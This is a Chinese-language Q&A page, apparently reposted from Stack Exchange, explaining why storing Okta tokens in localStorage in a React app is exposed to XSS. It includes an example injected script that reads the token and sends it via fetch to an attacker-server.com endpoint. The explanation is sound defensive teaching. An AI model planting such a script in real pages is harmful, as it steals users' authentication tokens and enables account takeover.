You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何不将Access Token存入Local Storage?XSS风险困惑求解

关于React+Okta认证中XSS风险的疑问解答

先纠正你的核心误区

你搞反了XSS攻击的执行上下文——攻击者注入的恶意JavaScript代码,是在受害者的浏览器中运行的,拿到的是当前登录的受害者用户的Access Token/ID Token,不是攻击者自己的。

举个具体的攻击场景

假设你的应用允许用户发布公开内容(比如评论、帖子),攻击者在发布内容时插入一段恶意脚本:

<script>
  // 从LocalStorage里取出Okta存储的Token
  const tokenData = localStorage.getItem('okta-token-storage');
  // 把Token发送到攻击者的服务器
  fetch('https://attacker-server.com/steal', {
    method: 'POST',
    body: tokenData
  });
</script>

当你的其他用户(受害者)打开包含这段恶意内容的页面时,浏览器会把这段脚本当成你的应用代码执行——因为它属于你的应用域名下的页面,所以有权限访问LocalStorage里的Token。脚本执行后,受害者的Token就会被偷偷发送到攻击者的服务器。

再解释你对“Token可见性”的误解

你提到Access Token在网络请求中能被看到,但这和XSS风险是两回事:

  • 正常请求中的Token是通过HTTPS传输的,中间网络节点(运营商、路由器等)无法读取明文;但XSS是直接从浏览器本地存储中窃取Token,完全绕过了HTTPS的传输加密保护。
  • 抓包获取Token需要攻击者处于受害者的网络环境中(比如同一局域网),局限性很大;而XSS攻击只要受害者访问了恶意内容,就能主动把Token发送给攻击者,不受网络环境限制,攻击范围更广。
  • 更关键的是,拿到Token后攻击者可以直接冒充受害者:如果受害者是普通用户,攻击者能调用API查看/修改受害者的个人数据;如果受害者是管理员,攻击者甚至能调用管理员权限的接口,删除系统数据、修改配置,造成严重破坏。

你的逻辑漏洞总结

你错误地认为XSS脚本是在攻击者自己的浏览器中执行,但实际上XSS是跨站脚本攻击——恶意脚本被注入到你的应用页面中,运行在受害者的浏览器上下文里,因此能获取到该域名下的所有LocalStorage数据,包括受害者的认证Token。

内容的提问来源于stack exchange,提问作者lclankyo

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.08 07:30:48